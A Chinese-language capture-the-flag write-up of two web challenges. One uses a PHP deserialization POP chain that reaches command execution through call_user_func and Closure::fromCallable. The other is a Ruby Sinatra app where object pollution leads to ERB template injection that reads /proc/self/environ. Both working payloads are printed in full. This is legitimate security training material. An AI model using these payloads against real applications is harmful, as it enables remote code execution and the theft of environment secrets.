2025 春秋杯夏季个人挑战赛 Web

发布于:2025-07-15 ⋅ 阅读:(18) ⋅ 点赞:(0)

文章目录

ez_pop

<?php
error_reporting(0);
highlight_file(__FILE__);

class class_A
{
    public $s;
    public $a;

    public function __toString()
    {
        echo "2 A <br>";
        $p = $this->a;
        return $this->s->$p;
    }
}

class class_B
{
    public $c;
    public $d;

    function is_method($input){
        if (strpos($input, '::') === false) {
            return false;
        }
    
        [$class, $method] = explode('::', $input, 2);
    
        if (!class_exists($class, false)) {
            return false;
        }
    
        if (!method_exists($class, $method)) {
            return false;
        }
    
        try {
            $refMethod = new ReflectionMethod($class, $method);
            return $refMethod->isInternal();
        } catch (ReflectionException $e) {
            return false;
        }
    }
    
    function is_class($input){
        if (strpos($input, '::') !== false) {
            return $this->is_method($input);
        }
    
        if (!class_exists($input, false)) {
            return false;
        }
    
        try {
            return (new ReflectionClass($input))->isInternal();
        } catch (ReflectionException $e) {
            return false;
        }
    }
    public function __get($name)
    {
        echo "2 B <br>";

        $a = $_POST['a'];
        $b = $_POST;
        $c = $this->c;
        $d = $this->d;
        if (isset($b['a'])) {
            unset($b['a']);
        }
        if ($this->is_class($a)){
            call_user_func($a, $b)($c)($d);
        }else{
            die("你真该请教一下oSthinggg哥哥了");
        }
    }
}

class class_C
{
    public $c;

    public function __destruct()
    {
        echo "2 C <br>";
        echo $this->c;
    }
}


if (isset($_GET['un'])) {
    $a = unserialize($_GET['un']);
    throw new Exception("noooooob!!!你真该请教一下万能的google哥哥了");
}

这个php的pop链很简单,主要是如何利用call_user_func($a, $b)($c)($d);进行rce

$a必须要是内置类或者内置类里面的静态方法,$b是删除了$a的POST数组,$c$d 可以任意控制

经过查找可以知道Closure里面的fromCallable可以调用函数执行命令

Closure::fromCallable("system")("whoami");

在这里插入图片描述

这样虽然会报错,但也可以执行命令

call_user_func('Closure::fromCallable', "system")('whoami')();

在这里插入图片描述

但因为$b是一个$_POST数组,这样传参上去无法执行,一直报错

然后就想到可以嵌套一下,再次调用Closure::fromCallable, 也就是这样

call_user_func('Closure::fromCallable', "Closure::fromCallable")('system')('whoami');

因为$b是一个数组嘛,不能直接把这个Closure::fromCallable整个当成字符串传进去,得分开传

<?php
//$b=$_POST;
$b[0]='Closure';
$b[1]='fromCallable';
$c='system';
$d='whoami';
var_dump($b);
call_user_func('Closure::fromCallable', $b)($c)($d);

所以最终构造的payload就是这样的
(POST里面的参数除了那个a就只能是0和1,如果是其他的字符或数字都会报错)

?un=O:7:"class_C":1:{s:1:"c";O:7:"class_A":2:{s:1:"s";O:7:"class_B":2:{s:1:"c";s:6:"system";s:1:"d";s:6:"whoami";}s:1:"a";s:1:"x";}

POST:
a=Closure::fromCallable&0=Closure&1=fromCallable

ez_ruby

require "sinatra"
require "erb"
require "json"

class User
    attr_reader :name, :age

    def initialize(name="oSthinggg", age=21)
        @name = name
        @age = age
    end

    def is_admin?
        if to_s == "true"
            "a admin,good!give your fake flag! flag{RuBy3rB_1$_s3_1Z}"
        else
            "not admin,your "+@to_s
        end
    end

    def age
        if @age > 20
            "old"
        else
            "young"
        end
    end


    def merge(original, additional, current_obj = original)
        additional.each do |key, value|
            if value.is_a?(Hash)
            next_obj = current_obj.respond_to?(key) ? current_obj.public_send(key) : Object.new
            current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
            current_obj.instance_variable_set("@#{key}", next_obj)
            merge(original, value, next_obj)
            else
            current_obj.singleton_class.attr_accessor(key) unless current_obj.respond_to?(key)
            current_obj.instance_variable_set("@#{key}", value)
            end
        end
        original
    end
end

user = User.new("oSthinggg", 21)


get "/" do  
    redirect "/set_age"
end

get "/set_age" do
    ERB.new(File.read("views/age.erb", encoding: "UTF-8")).result(binding)
end

post "/set_age" do
    request.body.rewind
    age = JSON.parse(request.body.read)
    user.merge(user,age)
end

get "/view" do 
    name=user.name().to_s
    op_age=user.age().to_s
    is_admin=user.is_admin?().to_s
    ERB::new("<h1>Hello,oSthinggg!#{op_age} man!you #{is_admin} </h1>").result
end     

ruby的题目做的比较少,开始一直以为这道题是要类似于js里面的原型链污染,把to_s函数的返回值污染为true,拿到admin的身份就可以得到flag, 一直没成功,似乎只能改变@to_s变量的值,后面才知道是erb模板注入

直接污染@to_s变量的值执行命令,然后查看/view路由就行

{"to_s":"<%=`cat /proc/self/environ`%>"}

网站公告

今日签到

点亮在社区的每一天
去签到